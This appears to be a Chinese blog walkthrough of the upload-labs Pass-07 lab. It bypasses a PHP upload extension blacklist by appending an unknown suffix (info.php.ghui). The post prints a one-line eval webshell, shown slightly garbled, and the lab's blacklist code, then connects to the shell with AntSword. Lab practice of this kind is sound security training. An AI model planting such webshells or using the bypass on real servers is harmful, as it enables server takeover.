upload-labs/Pass-07 未知后缀名解析漏洞复现

upload-labs/Pass-07 漏洞复现

页面:

upload-labs/Pass-07 未知后缀名解析漏洞复现_第1张图片

我们看到有一个图片上传功能。

我们上传一个png文件发现能够成功上传,那其他文件呢,如php文件。

我们看一下是否能上传一个php文件:

php文件内容:


	@eval($_REQUEST[])? //一句话木马
	phpinfo(); //查看php的版本信息
?>

点击上传:

upload-labs/Pass-07 未知后缀名解析漏洞复现_第2张图片

显示文件类型不允许上传。

我们使用burpsuite抓一下包,修改一下文件类型为image/png

upload-labs/Pass-07 未知后缀名解析漏洞复现_第3张图片

我们发现还是不能上传。

所以我们猜测此处对后缀名做了黑名单或者白名单过滤,如何查看是黑名单过滤还是白名单过滤呢?我们可以在php文件后面随便加一个后缀(随便写):

​ 例如我们这里写的是info.php.ghui

upload-labs/Pass-07 未知后缀名解析漏洞复现_第4张图片

我们发现文件成功上传,此时我们可以确定后缀名做了黑名单策略。

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到代码中做了一个后缀名的黑名单过滤。

我们在现在查看一下我们刚刚上传上去的文件,上传的文件路径在upload 下:

upload-labs/Pass-07 未知后缀名解析漏洞复现_第5张图片

我们点击查看一下:

upload-labs/Pass-07 未知后缀名解析漏洞复现_第6张图片

发现phpinfo(); 成功执行了,这是因为后端识别不出来我们加的.ghui后缀名,所以就会舍弃.ghui,那么就变成了info.php ,所以php代码就成功执行了。

那么是不是一句话木马也执行了呢?

我们使用蚁剑进行连接:

upload-labs/Pass-07 未知后缀名解析漏洞复现_第7张图片

我们就可以打开虚拟终端执行命令了:

upload-labs/Pass-07 未知后缀名解析漏洞复现_第8张图片

完毕!!!

你可能感兴趣的:(漏洞复现,android,安全,网络安全,运维)